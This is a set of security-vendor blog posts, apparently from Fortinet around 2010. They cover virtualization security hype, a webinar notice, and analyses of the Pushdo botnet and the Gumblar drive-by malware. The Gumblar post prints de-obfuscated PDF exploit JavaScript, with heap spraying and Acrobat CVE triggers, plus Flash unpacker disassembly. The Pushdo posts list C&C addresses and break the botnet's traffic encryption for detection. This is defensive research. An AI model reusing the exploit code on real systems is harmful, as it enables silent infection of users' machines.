Virtualization and Security: What is real and what is FUD?

by Anthony James
February 5, 2010 at 9:59 am

There seems to be a lot of discussion about virtualization, and rightly so. Virtualization promises dramatic, immediate benefits for many customers.  The purpose of this post is not to reiterate those benefits; a tremendous amount of information already exists.  However, as a security professional, I am concerned with the sensationalizing of virtualized security and how it is proposed as an entirely new sector of security within a virtualized environment.  With a few quick Internet searches, we are met with a barrage of articles from proposed consulting expertise to unique virtual appliances promising a solution to a yet-to-be explained virtual problem (pun intended).

The first question I always ask is, “how is virtualized security different than traditional security?”  The resounding response I most often hear when I ask industry peers is that virtual security is a way to secure virtual server environments (obviously).  When I dig a little deeper, I get the response of, “if a virtual server has been compromised (lets say a virus/worm), it will be able to cross-infect all of the other virtual servers co-residing within the same physical server hardware.  Therefore customers need to provide a virtual security layer between each of the virtual servers.”  Sounds like a logical conclusion – if you follow this argument.

While I feel there is some validation to that argument, I am concerned that there is a lot of misinformation and FUD (fear, uncertainty, doubt) being spread based on a lack of understanding of the technology and potential security threats focused on virtualization.  Consider a classic data center before virtualization appeared.  The design often consisted of a server farm front-ended by a load-balancer / application accelerator, which often lies behind a layer of security solutions (firewall, web content filtering, antivirus filtering, IPS etc.).  In a traditional design, the servers were optimized for performance by the application acceleration layer and the security layer protected the overall infrastructure from the threatscape.  In reality, this physical server farm infrastructure is prone to the same potential fate as its virtualized counterpart – co-resident physical servers can just as easily infect each other if compromised, but that doesn’t mean we implement  additional security layers between every server, it just meant that we strengthened the policies and security measures surrounding the server infrastructure.

By comparing the virtualized server farm and the physical server farm, the security concerns are indeed similar.  But currently we are told that we need to implement another approach to securing our virtualized server farm just because it has been virtualized?  Why is this the focus?  Can’t we follow the traditional architectures?  If you were of the higher-security model and you had each server compartmentalized behind a dedicated security device, you can still achieve the same with virtualization by only allowing each virtual server to communicate via an external security device – which will also provide increased visibility into the communications between each server.

I will agree that virtualization provides a tremendous amount of flexibility that is difficult to achieve with traditional server infrastructures, and yes, with flexibility comes potential security concerns opening up the door for new security measures. However, by rethinking traditional security solutions we can surely adapt to secure this new frontier of virtualization.

My argument is not with virtualization, as I wrote above I do believe it provides immediate tangible benefits for many customers.  However I am concerned that a lot of vendors are trying to ride the wave of the virtualization success by manufacturing concepts and concerns that are not 100 percent accurate, or worse, not in the best interest of the customers.

Author bio: Anthony James is Fortinet's vice president of products.

Pushdo Revolutions: Communication Encryption and Decoy Traffic

by Kyle Yang
February 4, 2010 at 11:37 am

It’s been two months since we revealed the 3rd Generation Pushdo/Cutwail/Webwail Botnet communication protocol and encryption. Recently, while researching a new bot (GoolBot), we found another Pushdo-like malware spreading with its help. After reversing, it became clear that it was a brand new evolution of the infamous multi-malware loader, for two essential reasons:

  • While it used the 2nd generation Pushdo communication protocol (with minor varations), it encrypted its communications and routed them through the SSL port (443); while this encryption looked like SSL at first sight (which would be consistent with the choice of the port), it is actually NOT.
  • There is a routine which generates some actual SSL traffic to a list of 339 known web sites (legitimate, for the most part), obviously to drawn bot-to-C&C communication in a sea of decoys.

This latter point explains why so many webmasters are reporting that SSL traffic (coming from different IPs) is much higher than normal these days. The good news for them is that the additional traffic is not malicious (application-wise, that is), and the bad news is that an increase of actual viewers is not the cause of it: it’s just some dummy data generated by calls to the QueryPerformanceCounter API in the latest Pushdo evolution.

Memory snapshots (from a pushdo infected machine) below illustrate the former point about encryption.

Before encryption:

ddnknshk_118hmct3mcj_b

After encryption (same memory space), just before sending:

ddnknshk_119d52p4qg2_b
The response from the C&C server, encrypted alike, contains the rootkit and spam engine modules (classic Pushdo process).

As an interesting side note, as we will see below, here is a list of those C&Cs:

75.126.159.19:443
75.126.159.19:443
94.75.233.173:443
94.75.233.174:443
94.75.233.171
94.75.233.172
89.149.254.213
89.149.244.141
89.149.244.23
aaa.oduvanchic.com
aaa.news2days.ru
antisgetout.cn
fire***eye.com
****briankrebs.com

This time, the author(s) was/were kind enough to leave the PDB filepath
in the binary:
“e:\Source\sloader_conc12np1\sloader_conc1\svcloader\Release\svcloader.pdb”

Historically, it has been common for malware authors to send messages hidden within their binaries – often as strings. There are, however, other ways. The last listed domain above, presumably registered by the author(s) of this Pushdo variant used for C&C, is an obvious dig at Brian Krebs, author of Krebs on Security (previously The Washington Post). Indeed, this is not the first time. We had a look at the variant referenced in this post (Harebot, detected by Fortinet as W32/Agent.LKU!tr) that was circulating around January 17th, 2010. In fact, this variant is a dropper that drops the same updated 2nd generation Pushdo. These are the main points we observed with this variant seen around January 17th:

  • No SSL traffic is sent: The 2nd generation traffic is still encrypted, but is transmitted on port 80
  • The project path is slightly different (see above for current path): ” e:\Source\sloader_conc1\svcloader\Release\svcloader.pdb”
  • The same C&C domains are used

Therefore, we can see the development path the authors are taking with this new variation. In January, they had updated to the new encrypted protocol but did not have the SSL traffic module included. Now, in February, we see the SSL module emerge. Could it shed some light on the question “are all Pushdo evolutions from the same author(s)”?

-Kyle

Guillaume Lovet and Derek Manky contributed to this post.

Author bio: Xu(Kyle) Yang(CCIE#19065), has worked as a malware researcher/software engineer for Fortinet 6+ years. He's currently focused on the Malware Custom Packer Researching and Botnet Researching.

Inside Gumblar: Looking for the trigger

by Bing Liu
January 19, 2010 at 9:52 am

Appearing in the first quarter of 2009, Gumblar spread rapidly and has become one of the biggest threats today[1]. Gumblar infects PC by exploiting vulnerabilities of Web Browsers and Browser Plugins, such as Adobe Acrobat Reader and Flash player. There is some good information available regarding Gumblar, addressing its Javascript obfuscation, the affected domains and its C&C communication[2][3][4]. However, scarce detail is available about the very vulnerabilities and exploits leveraged by Gumblar, and the question “How are the malicious PDF and Flash files crafted?” remains mostly unanswered.

This is the very question we will give a try at today. If you installed Adobe Reader, Acrobat or Flash player, you stand big chances to be fed malicious samples when you visit an infected web site: After fingerprinting the victim’s system, Gumblar uses obfuscated javascript to feed these samples to the visitors of the compromised sites running PHP. These malicious samples (PDF and Flash) in turn exploit vulnerabilities in the software handling them on the victim’s system; upon successful exploitation, the victim becomes effectively infected by Gumblar – without even noticing, since no action was required from the victim.

The following analysis concerns those malicious PDF and Flash files.

1. PDF Exploit Example

Many recent Acrobat / Acrobat Reader vulnerabilities are in fact triggered by javascript code embedded in the document: malformed arguments are passed to vulnerable methods. In our case, the embedded javascript code (compressed, as usual – though surprisingly short) looks like this once uncompressed:

IPfFw=this.info.title;————————————————————————–Store the real code
function wwh(EOOGe){return unescape(EOOGe);}function mQC1G(){return ‘%’;}
xbnI=(IPfFw).replace(/[\R]/g,mQC1G());
eval(wwh(xbnI))

Interestingly, it appears that the real code is stored in the file title, which is what makes the JavaScript part so short.

Gumblar1

The following is the de-obfuscated code stored in the file title:

[...]
try{var qiQG=app.viewerVersion.toString(); qiQG=qiQG.charAt(0)*100+qiQG.charAt(2)*10+qiQG.charAt(4);
if((qiQG>=800)&&(qiQG<=812)){
var PYI=unescape(”%u0A0A%u0A0A”);var TAq=20;var QUI=TAq+Leje.length;while(PYI.length<QUI)PYI+=PYI;var VcT=PYI.substring(0,QUI);
var Zq3G=PYI.substring(0,PYI.length-QUI);
while(Zq3G.length+QUI<0×60000)Zq3G=Zq3G+Zq3G+VcT;for(qq8I=0;qq8I<1200;qq8I++){dHH[qq8I]=Zq3G+Leje}
var O07=”12999999999999999999″;for(KRv=0;KRv<276;KRv++)O07+=”8″;
util.printf(”%45000f”,O07);————————————————————-exploit CVE-2008-2992

}

if((qiQG<710)||((qiQG>800)&&(qiQG<812))){
VLog(); var uqG=unescape(”%u0c0c%u0c0c”);while(uqG.length<44952)uqG+=uqG;
this.collabStore=Collab.collectEmailInfo({subj:”",msg:uqG});——————————exploit CVE-2008-0655
}
if((qiQG<=900)&&(qiQG!=711)&&(qiQG!=813)&&app.doc.Collab.getIcon)

{
VLog(); var xkSfB=unescape(”%09″);while(xkSfB.length<0×4000){xkSfB+=xkSfB;
}
xkSfB=”N.”+xkSfB;
app.doc.Collab.getIcon(xkSfB);—————————————-exploit CVE-2009-0927

}
}catch(e){}

As commented inline, it therefore tries to exploit CVE-2008-2992, CVE-2008-0655 and CVE-2009-0927. And so we found the exploits triggers.

2. Flash Exploit Example

Gumblar uses a similar run-time packer as the one discussed in Flash Mob Episode II: Attack of the Clones, thus I will only address the differences here. Again, I had to summon swfdump because swfscan failed to decompile the ActionScript. The analysis below is based on the disassembly provided by swfdump. The unpacking is done in the constructor of class Main:

constructor * <q>[public]::Main=Main/Main()(0 params, 0 optional)
[stack:4 locals:3 scope:10-15 flags: need_activation]

slot 4: var <q>[packageinternal]::loader:<q>[public]flash.display::Loaderslot 3: var <q>[packageinternal]::i:<q>[public]::Numberslot 2: var <q>[packageinternal]::bytes:<q>[public]flash.utils::ByteArrayslot 1: var <q>[packageinternal]::SWF1:<q>[public]::Class
{
[...]
00018) + 1:2 getlex <q>[public]::Main_SWF1——————————————-What’s this?

00019) + 2:2 coerce <q>[public]::Class

00020) + 2:2 setslot 1

[...]

00024) + 2:2 getslot 1

00025) + 2:2 construct 0 params

00026) + 2:2 getlex <q>[public]flash.utils::ByteArray

00027) + 3:2 astypelate

00028) + 2:2 coerce <q>[public]flash.utils::ByteArray————————————Converted to ByteArray

00029) + 2:2 setslot 2——————————————————————Encoded flash data

[...]

00032) + 1:2 pushbyte 0

00033) + 2:2 convert_d

00034) + 2:2 setslot 3——————————————————————-Counter i

00035) + 0:2 jump ->58————————————————Go to test condition of while loop

00036) + 0:2 label——————————————————Loop Start

[...]

00043) + 3:2 getslot 2

00044) + 3:2 getscopeobject 1

00045) + 4:2 getslot 3

00046) + 4:2 getproperty <l,multi>{[private]Main,…[Truncated]}————————–Get ByteArray[i]

00047) + 3:2 pushbyte 61—————————————————————Decoding key

00048) + 4:2 bitxor———————————————————————-Decoding algorithm:XOR

00049) + 3:2 setproperty <l,multi>{[private]Main,…[Truncated]}————————–Store decoded flash

[...]

00059) + 1:2 getslot 3

00060) + 1:2 getscopeobject 1

00061) + 2:2 getslot 2

00062) + 2:2 getproperty <q>[public]::length

00063) + 2:2 iflt ->36——————————————————————-Loop if counter i is lower than length

00064) + 0:2 debugline 23

00065) + 0:2 getscopeobject 1

00066) + 1:2 findpropstrict <q>[public]flash.display::Loader

00067) + 2:2 constructprop <q>[public]flash.display::Loader, 0 params

00068) + 2:2 coerce <q>[public]flash.display::Loader

00069) + 2:2 setslot 4————————Initialize a flash.display::Loader to load decoded flash

[...]

00086) + 1:2 getslot 4

00087) + 1:2 getscopeobject 1

00088) + 2:2 getslot 2

00089) + 2:2 callpropvoid <q>[public]::loadBytes, 1 params——————————–Load decoded flash

[...]

}

As can be seen above, the same decryption
algorithm is used: simple XORing of the payload with a key. But wait a minute, where is the encoded flash data? It’s nowhere to be found in the ActionScript part. What is “Main_SWF1″? Let’s search outside of ActionScript, in the swfdump output:

[057]     10350 DEFINEBINARY defines id 0001————————————————DEFINEBINARY Tag(0×57)

[...]

[04c]        21 SYMBOLCLASS

exports 0001 as “Main_SWF1″—————————————————-Export Binary data as “Main_SWF1″

The encoded flash data is stored in tag DEFINEBINARY!

Gumblar2

The decoded flash is the same as F2.swf, as discussed in Flash Mob Episode II: Attack of the Clones. It tries to exploit CVE-2007-0071 using a multiplexing technique. Trigger found!

As a conclusion, Gumblar hides its weapons carefully: Sitting in “resources” zones, the real exploit code is separated from the JavaScript/ActionScript part, which is only used to decrypt and load it. Using this and server-side polymorphism, no doubt Gumblar successfully evades many a detection.

Author bio: Bing Liu works as a security researcher for Fortinet. 9+ years work experience in the field of Information Security/CISSP.

Information Security – 2009 Reflection and 2010 Predictions

by Jennifer Leggio
January 13, 2010 at 11:43 am

fisInformation security is a top priority for many organizations today due to the significant security breaches that made headlines in 2009. Security threats are changing and becoming more targeted, making organizations more vulnerable to new attacks. Because of this, planning for 2010 is more important than ever.

Next week, Anthony James of Fortinet will participate in a Webinar hosted by Fidelity National Information Services and will discuss the top information security issues of 2009, emerging threats and trends to look for in 2010 and a solution to improve information security strategies and protect organizations.

The event will take place at 2 p.m. ET/11 a.m. PT on Wednesday, Jan. 20, and attendees are invited to pre-register.

Title: “Information Security – 2009 Reflection and 2010 Predictions”
Date: Wednesday, January 20, 2010
Time: 2pm EDT

Author bio: Jennifer Leggio is Fortinet's director of strategic communications.

Decrypting Pushdo Botnet Messages

by Doug MacDonald
December 15, 2009 at 11:05 am

While looking at some Pushdo botnet messages recently, I noticed a repeating pattern in the data. Here is an example, taken from an area where the pattern is most obvious:

0340  13 63 cc 69 13 63 cc 69 13 63 cc 69 53 63 cc 2b   .c.i.c.i.c.iSc.+
0350  13 63 cc 69 13 63 cc 69 13 63 cc 69 13 63 cc 69   .c.i.c.i.c.i.c.i
0360  13 63 cc 69 13 63 cc 69 13 63 cc 69 13 63 cc 69   .c.i.c.i.c.i.c.i

This looked to me like a flaw in the encryption that potentially could be used for detection purposes. It might even be possible to automatically break the encryption.

It is not hard to guess the cause of this pattern. The data was encrypted with a four byte key, and what we see here is the result of encrypting a block of nulls. Null blocks are an expected part of most program files and not unusual in data files, and this Pushdo message certainly contains both. Looking around in the message data, we can see that even where non-null data is mixed in, the underlying pattern can be recognized.

0030  — – — – — – 15 c8 fc 31 20 20 3f 19 1a 63 . .j…..1  ?..c
0040  d2 69 89 63 3c 1b 7c db 45 69 00 63 cc 69 13 63 .i.c<.|.Ei.c.i.c
0050  1c 69 21 94 04 47 25 94 fa 5e 3d 9c cc 7f 13 63 .i!..G%..^=….c
0060  cc 69 13 b3 cc 5f 22 91 fd 5c 2b 91 fd 5f 24 91   .i…_”..\+.._$.

If the encryption was done using a simple XOR, the four pattern bytes would serve as a key to decrypt the message data. But the Pushdo encryption algorithm is a bit more complicated than that. A recent in-depth analysis by Fortinet’s Kyle Yang reveals the encryption algorithm.

Pushdo encryption uses three key bytes, which we will refer to as key0, key1, and key2. A new key is generated whenever the infected computer is restarted. Here is how the encryption is done.

(plain byte 0) XOR key0 = (encrypted byte 0)
(plain byte 1) – key1 = (encrypted byte 1)
(plain byte 2) + key2 = (encrypted byte 2)
(plain byte 3) XOR (key1 + key2) = (encrypted byte 3)

One of the most important rules for encryption systems is that security should depend on the keys, not on the secrecy of the encryption algorithm. In this case a bit of reverse engineering has revealed the algorithm, so whatever security remains is provided by the keys.

At this point it looks like we have all the information we need to decrypt this message. We know how the encryption works, and we should be able to calculate the key from the repeating pattern. But it would be convenient for us to be able to use the pattern itself as the key, if that is possible.

Notice that the last encryption rule contains an unnecessary complication that does not improve security. Adding key1 and key2 only serves to produce another static key byte. For our decryption we can simplify this rule by combining key1 and key2:

(plain byte 3) XOR key1.2 = (encrypted byte 3)

The plus and minus operations must also be reversed, so the new rules for decryption are:

(encrypted byte 0) XOR key0 = (plain byte 0)

(encrypted byte 1) + key1 = (plain byte 1)

(encrypted byte 2) – key2 = (plain byte 2)

(encrypted byte 3) XOR key1.2 = (plain byte 3)

To find the key bytes from the pattern bytes, we can rearrange the decryption rules this way:

key0 = (plain byte 0) XOR (pattern byte 0)

key1 = (plain byte 1) – (pattern byte 1)

key2 = – (plain byte 2) + (pattern byte 2)

key1.2 = (plain byte 3) XOR (pattern byte 3)

The pattern bytes need to be aligned with the encryption rules before we can find the key bytes. We could test all four possibilities, but a quicker way to do this is by looking at the start of the data. We know from reverse engineering that the message has an 8 byte header, which means the data starts at frame offset 0×003e, so the pattern byte that falls here will correspond to key0. The pattern bytes are cc 69 13 63.

0030  — – — – — – 15 c8 fc 31 20 20 3f 19 1a 63 . .j…..1  ?..c
key   — – — – — – — – — – — – — – 13 63
0040  d2 69 89 63 3c 1b 7c db 45 69 00 63 cc 69 13 63 .i.c<.|.Ei.c.i.c
key   cc 69 13 63 cc 69 13 63 cc 69 13 63 cc 69 13 63

Based on this alignment the pattern byte identities are:

pattern byte 0 = 0×13
pattern byte 1 = 0×63
pattern byte 2 = 0xcc
pattern byte 1.2 = 0×69

Using the equations above, with the plain bytes set to zero, the key bytes are:

key0 = 0×13
key1 = 0×9d
key2 = 0xcc
key1.2 = 0×69

To test this we can decrypt some message data to see if we get the correct result. The block below was chosen at random from an area known to contain hard coded IP addresses.

0060  cc 69 13 b3 cc 5f 22 91 fd 5c 2b 91 fd 5f 24 91   .i…_”..\+.._$.
key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d
plain 00 00 00 50 00 36 31 2e 31 35 38 2e 31 36 37 2e
text                  6  1  .  1  5  8  .  1  6  7  .

0070  01 50 13 7b cc 69 13 63 cc 39 13 94 03 5d 3d 94   .P.{.i.c.9…]=.
key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d
plain 35 39 00 18 00 00 00 00 00 60 00 31 37 34 2e 31
text   5  9                             1  7  4  .  1

0080  ff 5a 3d 94 fc 5d 3d 95 fd 59 13 79 cc 69 13 63   .Z=..]=..Y.y.i.c
key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d
plain 33 33 2e 31 30 34 2e 32 31 30 00 16 00 00 00 00
text   3  3  .  1  0  4  .  2  1  0

0090  cc 39 13 95 fe 58 3d 95 ff 59 3d 95 fa 5b 23 9b   .9…X=..Y=..[#.
key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d
plain 00 50 00 32 32 31 2e 32 33 30 2e 32 2e 32 30 38
text            2  2  1  .  2  3  0  .  2  .  2  0  8

The IP addresses found above in the decrypted block match ones known to be used by this version of Pushdo, so we can safely say the decryption is correct. Automated detection should be possible by picking the key from the message and applying it to a known block like the one above. Even if the IP addresses are changed, their presence in this format can be detected, along with other parts of the structure they are held in.

Unfortunately, sooner or later the encryption algorithm will be changed. It can be recovered by reverse engineering, but we would like to handle the change automatically, if that is possible.

We have some knowledge about the unencrypted data, for example we know that the data block seen here contains a number of IP addresses in text format. More of this kind of predictable data can likely be found. So we should be able to find the key, and we have all of the encrypted data and some of the unencrypted data.

With this information it may be possible to derive the arithmetic or logic operations used to encrypt each of the four bytes. Simple operations like XOR, plus and minus should not be hard to identify. Only operations that do not destroy data can be used, so it may be possible to generate a list of acceptable operations that are not excessively complex. As we saw with the fourth rule, overly complex operations may be reduced to simpler ones. In this sort of analysis we would probably not even be aware of the reduction.

Author bio: Doug MacDonald has over eight years experience in antivirus research and development. He holds an M.S. in Electronic Engineering.